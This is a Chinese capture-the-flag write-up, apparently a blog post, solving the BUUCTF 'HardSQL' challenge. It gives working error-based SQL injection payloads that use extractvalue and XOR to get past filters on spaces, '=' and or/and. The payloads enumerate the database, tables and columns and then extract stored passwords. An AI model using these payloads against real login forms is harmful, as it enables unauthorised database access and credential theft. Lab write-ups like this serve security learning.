BUUCTF [极客大挑战 2019]HardSQL

16 篇文章 0 订阅

尝试万能密码被逮住
1’ or 1=1#
在这里插入图片描述
经过一系列尝试 order by,union select之类的都被过滤
网上别人的write参考了一下,这里是报错注入,用到xpath语法错误中extractvalue
^表异或,这里or and都被过滤了包括替换成&& ||我也试过也不行。
网上了解了下报错注入,这题目extractvalue里select后要加括号(比如下面database()外面加了括号),而正常情况下是不用的,猜测是空格被过滤的原因。

check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23

在这里插入图片描述

数据库名 geek
接着爆表名
这里用sql中的like操作符替换了“=”

check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

在这里插入图片描述
geek中有表H4rDsq1
爆字段名

check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

在这里插入图片描述

爆出数据

extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))%23

在这里插入图片描述
可以看到只有部分
这里用left和right函数可以从左向右,从右向左输出数据

check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))%23

在这里插入图片描述
拼接一下得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值